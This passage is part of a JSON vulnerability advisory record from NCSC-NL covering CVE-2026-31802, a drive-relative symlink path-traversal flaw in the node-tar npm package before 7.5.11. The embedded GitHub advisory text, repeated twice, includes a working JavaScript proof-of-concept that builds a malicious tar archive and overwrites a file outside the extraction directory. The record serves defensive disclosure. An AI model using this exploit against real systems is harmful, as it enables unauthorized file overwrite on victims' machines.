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        "notes": [
            {
                "category": "legal_disclaimer",
                "text": "The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this portal to enhance access to its information and vulnerabilities. The use of this information is subject to the following terms and conditions:\n\nThe vulnerabilities disclosed in this portal are gathered by NCSC-NL from a variety of open sources, which the user can retrieve from other platforms. NCSC-NL makes every reasonable effort to ensure that the content of this portal is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or real-time keeping up-to-date. NCSC-NL does not control nor guarantee the accuracy, relevance, timeliness or completeness of information obtained from these external sources. The vulnerabilities disclosed in this portal are intended solely for the convenience of professional parties to take appropriate measures to manage the risks posed to the cybersecurity. No rights can be derived from the information provided therein.\n\nNCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of the vulnerabilities disclosed in this portal. This includes damage resulting from the inaccuracy of incompleteness of the information contained in it.\nThe information on this page is subject to Dutch law. All disputes related to or arising from the use of this portal regarding the disclosure of vulnerabilities will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings."
            }
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        "publisher": {
            "category": "coordinator",
            "contact_details": "cert@ncsc.nl",
            "name": "National Cyber Security Centre",
            "namespace": "https://www.ncsc.nl/"
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        "title": "CVE-2026-31802",
        "tracking": {
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                    "date": "2026-03-09T21:38:31.720039Z",
                    "number": "1",
                    "summary": "CVE created.| Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products created (1).| References created (2).| CWES updated (1)."
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                    "date": "2026-03-09T21:38:37.669299Z",
                    "number": "2",
                    "summary": "NCSC Score created."
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                    "date": "2026-03-10T08:26:14.710117Z",
                    "number": "3",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (2).| CWES updated (1)."
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                    "date": "2026-03-10T08:26:22.881146Z",
                    "number": "4",
                    "summary": "NCSC Score updated."
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                    "date": "2026-03-10T12:43:41.124587Z",
                    "number": "5",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| Products connected (2)."
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                    "date": "2026-03-10T14:20:49.505750Z",
                    "number": "6",
                    "summary": "Source created.| CVE status created. (valid)| EPSS created."
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                    "date": "2026-03-10T14:20:51.387205Z",
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                    "summary": "NCSC Score updated."
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                    "date": "2026-03-10T15:39:10.267600Z",
                    "number": "8",
                    "summary": "Unknown change."
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                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (4).| CWES updated (1)."
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                    "date": "2026-03-11T00:53:28.703077Z",
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                    "summary": "NCSC Score updated."
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                    "date": "2026-03-11T12:28:15.273983Z",
                    "number": "12",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (84).| Product Identifiers created (23).| References created (4).| CWES updated (1).| Vendor_assessment created."
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                {
                    "date": "2026-03-11T12:28:28.102607Z",
                    "number": "13",
                    "summary": "NCSC Score updated."
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                {
                    "date": "2026-03-14T12:20:03.759102Z",
                    "number": "14",
                    "summary": "Source connected.| CVE status created. (valid)| Description created for source.| Products connected (2).| CWES updated (1)."
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                {
                    "date": "2026-03-18T18:25:23.548015Z",
                    "number": "15",
                    "summary": "CVSS created.| Products created (1).| Product Identifiers created (1).| Exploits created (1)."
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                    "date": "2026-03-18T18:25:32.593405Z",
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                    "date": "2026-03-19T15:29:46.414525Z",
                    "number": "17",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (4).| CWES updated (1)."
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                    "date": "2026-03-19T15:29:49.299526Z",
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                    "summary": "NCSC Score updated."
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                {
                    "date": "2026-03-20T09:32:51.542952Z",
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                    "summary": "Source connected.| CVE status created. (valid)| EPSS created."
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                    "summary": "Products connected (1).| Products removed (1)."
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                                "category": "product_version_range",
                                "name": "vers:unknown/<7.5.11",
                                "product": {
                                    "name": "vers:unknown/<7.5.11",
                                    "product_id": "CSAFPID-5772486"
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "node-tar"
                    },
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/<7.5.11",
                                "product": {
                                    "name": "vers:unknown/<7.5.11",
                                    "product_id": "CSAFPID-5844838",
                                    "product_identification_helper": {
                                        "cpe": "cpe:2.3:a:isaacs:tar:*:*:*:*:*:node.js:*:*"
                                    }
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "tar"
                    }
                ],
                "category": "vendor",
                "name": "isaacs"
            }
        ]
    },
    "vulnerabilities": [
        {
            "cve": "CVE-2026-31802",
            "cwe": {
                "id": "CWE-22",
                "name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')"
            },
            "notes": [
                {
                    "category": "description",
                    "text": "node-tar is a full-featured Tar for Node.js. Prior to version 7.5.11, tar (npm) can be tricked into creating a symlink that points outside the extraction directory by using a drive-relative symlink target such as C:../../../target.txt, which enables file overwrite outside cwd during normal tar.x() extraction. This vulnerability is fixed in 7.5.11.",
                    "title": "cveprojectv5 - https://www.cve.org/CVERecord?id=CVE-2026-31802"
                },
                {
                    "category": "description",
                    "text": "node-tar is a full-featured Tar for Node.js. Prior to version 7.5.11, tar (npm) can be tricked into creating a symlink that points outside the extraction directory by using a drive-relative symlink target such as C:../../../target.txt, which enables file overwrite outside cwd during normal tar.x() extraction. This vulnerability is fixed in 7.5.11.",
                    "title": "nvd - https://nvd.nist.gov/vuln/detail/CVE-2026-31802"
                },
                {
                    "category": "description",
                    "text": "node-tar is a full-featured Tar for Node.js. Prior to version 7.5.11, tar (npm) can be tricked into creating a symlink that points outside the extraction directory by using a drive-relative symlink target such as C:../../../target.txt, which enables file overwrite outside cwd during normal tar.x() extraction. This vulnerability is fixed in 7.5.11.",
                    "title": "debian - https://security-tracker.debian.org/tracker/CVE-2026-31802"
                },
                {
                    "category": "description",
                    "text": "### Summary\n`tar` (npm) can be tricked into creating a symlink that points outside the extraction directory by using a drive-relative symlink target such as `C:../../../target.txt`, which enables file overwrite outside `cwd` during normal `tar.x()` extraction.\n\n### Details\nThe extraction logic in `Unpack[STRIPABSOLUTEPATH]` validates `..` segments against a resolved path that still uses the original drive-relative value, and only afterwards rewrites the stored `linkpath` to the stripped value.\n\nWhat happens with `linkpath: \"C:../../../target.txt\"`:\n1. `stripAbsolutePath()` removes `C:` and rewrites the value to `../../../target.txt`.\n2. The escape check resolves using the original pre-stripped value, so it is treated as in-bounds and accepted.\n3. Symlink creation uses the rewritten value (`../../../target.txt`) from nested path `a/b/l`.\n4. Writing through the extracted symlink overwrites the outside file (`../target.txt`).\n\nThis is reachable in standard usage (`tar.x({ cwd, file })`) when extracting attacker-controlled tar archives.\n\n### PoC\nTested on Arch Linux with `tar@7.5.10`.\n\nPoC script (`poc.cjs`):\n\n```js\nconst fs = require('fs')\nconst path = require('path')\nconst { Header, x } = require('tar')\n\nconst cwd = process.cwd()\nconst target = path.resolve(cwd, '..', 'target.txt')\nconst tarFile = path.join(cwd, 'poc.tar')\n\nfs.writeFileSync(target, 'ORIGINAL\\n')\n\nconst b = Buffer.alloc(1536)\nnew Header({\n  path: 'a/b/l',\n  type: 'SymbolicLink',\n  linkpath: 'C:../../../target.txt',\n}).encode(b, 0)\nfs.writeFileSync(tarFile, b)\n\nx({ cwd, file: tarFile }).then(() => {\n  fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\\n')\n  process.stdout.write(fs.readFileSync(target, 'utf8'))\n})\n```\n\nRun:\n\n```bash\nnode poc.cjs && readlink a/b/l && ls -l a/b/l ../target.txt\n```\n\nObserved output:\n\n```text\nPWNED\n../../../target.txt\nlrwxrwxrwx - joshuavr  7 Mar 18:37 󰡯 a/b/l -> ../../../target.txt\n.rw-r--r-- 6 joshuavr  7 Mar 18:37  ../target.txt\n```\n\n`PWNED` confirms outside file content overwrite. `readlink` and `ls -l` confirm the extracted symlink points outside the extraction directory.\n\n### Impact\nThis is an arbitrary file overwrite primitive outside the intended extraction root, with the permissions of the process performing extraction.\n\nRealistic scenarios:\n- CLI tools unpacking untrusted tarballs into a working directory\n- build/update pipelines consuming third-party archives\n- services that import user-supplied tar files",
                    "title": "github - https://github.com/advisories/GHSA-9ppj-qmqm-q256"
                },
                {
                    "category": "description",
                    "text": "No description is available for this CVE.\nThis is a MODERATE impact vulnerability. The tar utility is susceptible to unauthorized file overwrites when processing specially crafted archives containing drive-relative symlinks. As such, it primarily affects integrity (since it can overwrite files and file contents), with no clear indication that availability or confidentiality may be affected.",
                    "title": "redhat - https://access.redhat.com/security/cve/CVE-2026-31802"
                },
                {
                    "category": "description",
                    "text": "node-tar Symlink Path Traversal via Drive-Relative Linkpath",
                    "title": "microsoft - https://api.msrc.microsoft.com/cvrf/v3.0/cvrf/2026-Mar"
                },
                {
                    "category": "description",
                    "text": "### Summary\n`tar` (npm) can be tricked into creating a symlink that points outside the extraction directory by using a drive-relative symlink target such as `C:../../../target.txt`, which enables file overwrite outside `cwd` during normal `tar.x()` extraction.\n\n### Details\nThe extraction logic in `Unpack[STRIPABSOLUTEPATH]` validates `..` segments against a resolved path that still uses the original drive-relative value, and only afterwards rewrites the stored `linkpath` to the stripped value.\n\nWhat happens with `linkpath: \"C:../../../target.txt\"`:\n1. `stripAbsolutePath()` removes `C:` and rewrites the value to `../../../target.txt`.\n2. The escape check resolves using the original pre-stripped value, so it is treated as in-bounds and accepted.\n3. Symlink creation uses the rewritten value (`../../../target.txt`) from nested path `a/b/l`.\n4. Writing through the extracted symlink overwrites the outside file (`../target.txt`).\n\nThis is reachable in standard usage (`tar.x({ cwd, file })`) when extracting attacker-controlled tar archives.\n\n### PoC\nTested on Arch Linux with `tar@7.5.10`.\n\nPoC script (`poc.cjs`):\n\n```js\nconst fs = require('fs')\nconst path = require('path')\nconst { Header, x } = require('tar')\n\nconst cwd = process.cwd()\nconst target = path.resolve(cwd, '..', 'target.txt')\nconst tarFile = path.join(cwd, 'poc.tar')\n\nfs.writeFileSync(target, 'ORIGINAL\\n')\n\nconst b = Buffer.alloc(1536)\nnew Header({\n  path: 'a/b/l',\n  type: 'SymbolicLink',\n  linkpath: 'C:../../../target.txt',\n}).encode(b, 0)\nfs.writeFileSync(tarFile, b)\n\nx({ cwd, file: tarFile }).then(() => {\n  fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\\n')\n  process.stdout.write(fs.readFileSync(target, 'utf8'))\n})\n```\n\nRun:\n\n```bash\nnode poc.cjs && readlink a/b/l && ls -l a/b/l ../target.txt\n```\n\nObserved output:\n\n```text\nPWNED\n../../../target.txt\nlrwxrwxrwx - joshuavr  7 Mar 18:37 󰡯 a/b/l -> ../../../target.txt\n.rw-r--r-- 6 joshuavr  7 Mar 18:37  ../target.txt\n```\n\n`PWNED` confirms outside file content overwrite. `readlink` and `ls -l` confirm the extracted symlink points outside the extraction directory.\n\n### Impact\nThis is an arbitrary file overwrite primitive outside the intended extraction root, with the permissions of the process performing extraction.\n\nRealistic scenarios:\n- CLI tools unpacking untrusted tarballs into a working directory\n- build/update pipelines consuming third-party archives\n- services that import user-supplied tar files",
                    "title": "github - https://api.github.com/advisories/GHSA-9ppj-qmqm-q256"
                },
                {
                    "category": "other",
                    "text": "7e-05",
                    "title": "EPSS"
                },
                {
                    "category": "other",
                    "text": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N",
                    "title": "CVSSV4"
                },
                {
                    "category": "other",
                    "text": "8.2",
                    "title": "CVSSV4 base score"
                },
                {
                    "category": "other",
                    "text": "3.6",
                    "title": "NCSC Score"
                },
                {
                    "category": "other",
                    "text": "The value of the most recent CVSS (V3) score, There is exploit data available from source Nvd",
                    "title": "NCSC Score top decreasing factors"
                },
                {
                    "category": "details",
                    "text": "Severity: 2\n",
                    "title": "Vendor assessment"
                }
            ],
            "product_status": {
                "known_affected": [
                    "CSAFPID-5772486",
                    "CSAFPID-1439279",
                    "CSAFPID-1439294",
                    "CSAFPID-1439300",
                    "CSAFPID-1439302",
                    "CSAFPID-1439304",
                    "CSAFPID-1439306",
                    "CSAFPID-1439308",
                    "CSAFPID-1439310",
                    "CSAFPID-1439317",
                    "CSAFPID-1439319",
                    "CSAFPID-1439321",
                    "CSAFPID-1439328",
                    "CSAFPID-1439329",
                    "CSAFPID-1439334",
                    "CSAFPID-1441080",
                    "CSAFPID-1441104",
                    "CSAFPID-1441105",
                    "CSAFPID-1441147",
                    "CSAFPID-1441150",
                    "CSAFPID-1459353",
                    "CSAFPID-1459355",
                    "CSAFPID-1496261",
                    "CSAFPID-1663145",
                    "CSAFPID-1706524",
                    "CSAFPID-1771999",
                    "CSAFPID-1837475",
                    "CSAFPID-1837476",
                    "CSAFPID-1906087",
                    "CSAFPID-1906089",
                    "CSAFPID-2109918",
                    "CSAFPID-2159488",
                    "CSAFPID-2159489",
                    "CSAFPID-2159494",
                    "CSAFPID-2159495",
                    "CSAFPID-2159496",
                    "CSAFPID-2467441",
                    "CSAFPID-2467442",
                    "CSAFPID-2467448",
                    "CSAFPID-2467450",
                    "CSAFPID-2467451",
                    "CSAFPID-2485158",
                    "CSAFPID-2485334",
                    "CSAFPID-2552001",
                    "CSAFPID-2577685",
                    "CSAFPID-2631284",
                    "CSAFPID-2631287",
                    "CSAFPID-2652741",
                    "CSAFPID-2698055",
                    "CSAFPID-2698057",
                    "CSAFPID-2778186",
                    "CSAFPID-2789750",
                    "CSAFPID-2789751",
                    "CSAFPID-2789752",
                    "CSAFPID-2789753",
                    "CSAFPID-2789754",
                    "CSAFPID-2847216",
                    "CSAFPID-2855724",
                    "CSAFPID-2855725",
                    "CSAFPID-2858634",
                    "CSAFPID-2914696",
                    "CSAFPID-2914697",
                    "CSAFPID-2933397",
                    "CSAFPID-2976393",
                    "CSAFPID-2976394",
                    "CSAFPID-2976396",
                    "CSAFPID-2976397",
                    "CSAFPID-2985383",
                    "CSAFPID-2985390",
                    "CSAFPID-3036166",
                    "CSAFPID-5187689",
                    "CSAFPID-5222940",
                    "CSAFPID-5360337",
                    "CSAFPID-5360339",
                    "CSAFPID-5360342",
                    "CSAFPID-5360344",
                    "CSAFPID-5360369",
                    "CSAFPID-5438677",
                    "CSAFPID-5438679",
                    "CSAFPID-5449646",
                    "CSAFPID-5449647",
                    "CSAFPID-5674316",
                    "CSAFPID-5674317",
                    "CSAFPID-5844838",
                    "CSAFPID-1409048"
                ],
                "known_not_affected": [
                    "CSAFPID-1409051",
                    "CSAFPID-1439315",
                    "CSAFPID-1441204",
                    "CSAFPID-1459362",
                    "CSAFPID-2976395"
                ]
            },
            "references": [
                {
                    "category": "external",
                    "summary": "Source - cveprojectv5",
                    "url": "https://www.cve.org/CVERecord?id=CVE-2026-31802"
                },
                {
                    "category": "external",
                    "summary": "Source raw - cveprojectv5",
                    "url": "https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/31xxx/CVE-2026-31802.json"
                },
                {
                    "category": "external",
                    "summary": "Source - nvd",
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-31802"
                },
                {
                    "category": "external",
                    "summary": "Source raw - nvd",
                    "url": "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-31802"
                },
                {
                    "category": "external",
                    "summary": "Source - debian",
                    "url": "https://security-tracker.debian.org/tracker/CVE-2026-31802"
                },
                {
                    "category": "external",
                    "summary": "Source - first",
                    "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-31802"
                },
                {
                    "category": "external",
                    "summary": "Source raw - first",
                    "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0"
                },
                {
                    "category": "external",
                    "summary": "Source - github",
                    "url": "https://github.com/advisories/GHSA-9ppj-qmqm-q256"
                },
                {
                    "category": "external",
                    "summary": "Source raw - github",
                    "url": "https://api.github.com/advisories/GHSA-9ppj-qmqm-q256"
                },
                {
                    "category": "external",
                    "summary": "Source - redhat",
                    "url": "https://access.redhat.com/security/cve/CVE-2026-31802"
                },
                {
                    "category": "external",
                    "summary": "Source raw - redhat",
                    "url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-31802.json"
                },
                {
                    "category": "external",
                    "summary": "Source - microsoft",
                    "url": "https://api.msrc.microsoft.com/cvrf/v3.0/cvrf/2026-Mar"
                },
                {
                    "category": "external",
                    "summary": "Source - github",
                    "url": "https://api.github.com/advisories/GHSA-9ppj-qmqm-q256"
                },
                {
                    "category": "external",
                    "summary": "Source - first",
                    "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; github; nvd; redhat",
                    "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-9ppj-qmqm-q256"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; github; nvd; redhat",
                    "url": "https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad"
                },
                {
                    "category": "external",
                    "summary": "Reference - github; redhat",
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-31802"
                },
                {
                    "category": "external",
                    "summary": "Reference - github",
                    "url": "https://github.com/advisories/GHSA-9ppj-qmqm-q256"
                },
                {
                    "category": "external",
                    "summary": "Reference - redhat",
                    "url": "https://www.cve.org/CVERecord?id=CVE-2026-31802"
                }
            ],
            "scores": [
                {
                    "cvss_v3": {
                        "version": "3.1",
                        "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
                        "baseScore": 6.2,
                        "baseSeverity": "MEDIUM"
                    },
                    "products": [
                        "CSAFPID-1409048",
                        "CSAFPID-1439279",
                        "CSAFPID-1439294",
                        "CSAFPID-1439300",
                        "CSAFPID-1439302",
                        "CSAFPID-1439304",
                        "CSAFPID-1439306",
                        "CSAFPID-1439308",
                        "CSAFPID-1439310",
                        "CSAFPID-1439317",
                        "CSAFPID-1439319",
                        "CSAFPID-1439321",
                        "CSAFPID-1439328",
                        "CSAFPID-1439329",
                        "CSAFPID-1439334",
                        "CSAFPID-1441080",
                        "CSAFPID-1441104",
                        "CSAFPID-1441105",
                        "CSAFPID-1441147",
                        "CSAFPID-1441150",
                        "CSAFPID-1459353",
                        "CSAFPID-1459355",
                        "CSAFPID-1496261",
                        "CSAFPID-1663145",
                        "CSAFPID-1706524",
                        "CSAFPID-1771999",
                        "CSAFPID-1837475",
                        "CSAFPID-1837476",
                        "CSAFPID-1906087",
                        "CSAFPID-1906089",
                        "CSAFPID-2109918",
                        "CSAFPID-2159488",
                        "CSAFPID-2159489",
                        "CSAFPID-2159494",
                        "CSAFPID-2159495",
                        "CSAFPID-2159496",
                        "CSAFPID-2467441",
                        "CSAFPID-2467442",
                        "CSAFPID-2467448",
                        "CSAFPID-2467450",
                        "CSAFPID-2467451",
                        "CSAFPID-2485158",
                        "CSAFPID-2485334",
                        "CSAFPID-2552001",
                        "CSAFPID-2577685",
                        "CSAFPID-2631284",
                        "CSAFPID-2631287",
                        "CSAFPID-2652741",
                        "CSAFPID-2698055",
                        "CSAFPID-2698057",
                        "CSAFPID-2778186",
                        "CSAFPID-2789750",
                        "CSAFPID-2789751",
                        "CSAFPID-2789752",
                        "CSAFPID-2789753",
                        "CSAFPID-2789754",
                        "CSAFPID-2847216",
                        "CSAFPID-2855724",
                        "CSAFPID-2855725",
                        "CSAFPID-2858634",
                        "CSAFPID-2914696",
                        "CSAFPID-2914697",
                        "CSAFPID-2933397",
                        "CSAFPID-2976393",
                        "CSAFPID-2976394",
                        "CSAFPID-2976396",
                        "CSAFPID-2976397",
                        "CSAFPID-2985383",
                        "CSAFPID-2985390",
                        "CSAFPID-3036166",
                        "CSAFPID-5187689",
                        "CSAFPID-5222940",
                        "CSAFPID-5360337",
                        "CSAFPID-5360339",
                        "CSAFPID-5360342",
                        "CSAFPID-5360344",
                        "CSAFPID-5360369",
                        "CSAFPID-5438677",
                        "CSAFPID-5438679",
                        "CSAFPID-5449646",
                        "CSAFPID-5449647",
                        "CSAFPID-5674316",
                        "CSAFPID-5674317",
                        "CSAFPID-5772486",
                        "CSAFPID-5844838"
                    ]
                }
            ],
            "title": "CVE-2026-31802"
        }
    ]
}